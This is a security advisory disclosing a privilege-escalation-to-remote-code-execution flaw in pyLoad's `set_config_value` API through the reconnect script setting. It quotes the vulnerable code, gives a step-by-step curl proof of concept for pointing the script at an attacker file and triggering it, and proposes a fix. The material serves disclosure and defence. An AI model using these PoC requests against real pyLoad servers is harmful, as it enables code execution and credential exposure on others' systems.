GHSA-r7mc-x6x7-cqxx pyLoad SETTINGS Permission Users Can Achieve Remote Code Execution via Unrestricted Reconnect Script Configuration

• PyPI pyload-ng: >= 0.4.0, <= 0.5.0b3.dev96 (no fix yet)

Summary The `set_config_value()` API endpoint allows users with the non-admin `SETTINGS` permission to modify any configuration option without restriction. The `reconnect.script` config option controls a file path that is passed directly to `subprocess.run()` in the thread manager's reconnect logic. A SETTINGS user can set this to any executable file on the system, achieving Remote Code Execution. The only validation in `set_config_value()` is a hardcoded check for `general.storage_folder` — all other security-critical settings including `reconnect.script` are writable without any allowlist or path restriction. Details The vulnerability chain spans two components: 1. Unrestricted config write — `src/pyload/core/api/__init__.py:210-243` ```python @permission(Perms.SETTINGS) @post def set_config_value(self, category: str, option: str, value: Any, section: str = "core") -> None: self.pyload.addon_manager.dispatch_event( "config_changed", category, option, value, section ) if section == "core": if category == "general" and option == "storage_folder": # Forbid setting the download folder inside dangerous locations # ... validation only for storage_folder ... return self.pyload.config.set(category, option, value) # No validation for any other option ``` The `Perms.SETTINGS` permission (value 128) is a non-admin permission flag. The only hardcoded validation is for `general.storage_folder`. The `reconnect.script` option is written directly to config with no path validation, allowlist, or sanitization. 2. Arbitrary script execution — `src/pyload/core/managers/thread_manager.py:157-199` ```python def try_reconnect(self): if not ( self.pyload.config.get("reconnect", "enabled") and self.pyload.api.is_time_reconnect() ): return False # ... checks if active downloads want reconnect ... reconnect_script = self.pyload.config.get("reconnect", "script") if not os.path.isfile(reconnect_script): self.pyload.config.set("reconnect", "enabled", False) self.pyload.log.warning(self._("Reconnect script not found!")) return # ... reconnect logic ... try: subprocess.run(reconnect_script) # Executes attacker-controlled path except Exception: # ... ``` The `reconnect_script` value comes directly from config. The only check is `os.path.isfile()` — the file must exist but there is no allowlist, no path restriction, and no signature verification. 3. Attacker also controls timing via same SETTINGS permission The attacker can set `reconnect.enabled=True`, `reconnect.start_time`, and `reconnect.end_time` through the same `set_config_value()` endpoint to control when execution occurs. `toggle_reconnect()` at line 321 requires only `Perms.STATUS` — an even lower privilege. 4. Additional privilege escalation via config access Beyond RCE, the same unrestricted config write allows SETTINGS users to: • Read proxy credentials (`proxy.username`/`proxy.password`) in plaintext via `get_config()` • Redirect syslog to an attacker-controlled server (`log.syslog_host`/`log.syslog_port`) • Disable SSL (`webui.use_ssl=False`), rebind to `0.0.0.0` (`webui.host`) • Modify SSL certificate/key paths to enable MITM PoC Step 1: Set reconnect script to an attacker-controlled executable Via API: ```bash Authenticate and get session (as user with SETTINGS permission) curl -c cookies.txt -X POST 'http://target:8000/api/login' \ -d 'username=settingsuser&password=pass123' Set reconnect script to a known executable on the system curl -b cookies.txt -X POST 'http://target:8000/api/set_config_value' \ -d 'category=reconnect&option=script&value=/tmp/exploit.sh&section=core' ``` Via Web UI: ```bash curl -b cookies.txt -X POST 'http://target:8000/json/save_config?category=core' \ -d 'reconnect|script=/tmp/exploit.sh&reconnect|enabled=True' ``` Step 2: Enable reconnect and set timing window ```bash curl -b cookies.txt -X POST 'http://target:8000/api/set_config_value' \ -d 'category=reconnect&option=enabled&value=True&section=core' curl -b cookies.txt -X POST 'http://target:8000/api/set_config_value' \ -d 'category=reconnect&option=start_time&value=00:00&section=core' curl -b cookies.txt -X POST 'http://target:8000/api/set_config_value' \ -d 'category=reconnect&option=end_time&value=23:59&section=core' ``` Step 3: Script executes when thread manager calls `try_reconnect()` The thread manager's `run()` method (called repeatedly by the core loop) invokes `try_reconnect()`, which calls `subprocess.run(reconnect_script)` at `thread_manager.py:199`. Note on exploitation constraints: The file at the target path must exist (`os.path.isfile()` check) and be executable. With `shell=False` (subprocess.run default), no arguments are passed. If the attacker also has `ADD` permission (common for non-admin users), they can use pyLoad to download an archive containing an executable script, which may retain execute permissions after extraction. Impact • Remote Code Execution: A non-admin user with SETTINGS permission can execute arbitrary programs on the server as the pyLoad process user • Privilege escalation: The SETTINGS permission is described as "can access settings" — granting it is not expected to grant arbitrary code execution capability • Credential exposure: SETTINGS users can read proxy credentials, SSL key paths, and other sensitive config values via `get_config()` • Network reconfiguration: SETTINGS users can disable SSL, change bind address, redirect logging, and modify other security-critical network settings Recommended Fix Add an allowlist or category-level restriction in `set_config_value()` that prevents non-admin users from modifying security-critical options: ```python In set_config_value(), after the storage_folder check: ADMIN_ONLY_OPTIONS = { ("reconnect", "script"), ("webui", "host"), ("webui", "use_ssl"), ("webui", "ssl_cert"), ("webui", "ssl_key"), ("log", "syslog_host"), ("log", "syslog_port"), ("proxy", "username"), ("proxy", "password"), } if section == "core" and (category, option) in ADMIN_ONLY_OPTIONS: # Require ADMIN role for security-critical settings if not self.pyload.api.user_data.get("role") == Role.ADMIN: raise PermissionError(f"Admin role required to modify {category}.{option}") ``` Additionally, consider validating the `reconnect.script` path against an allowlist of directories or requiring admin approval for script path changes.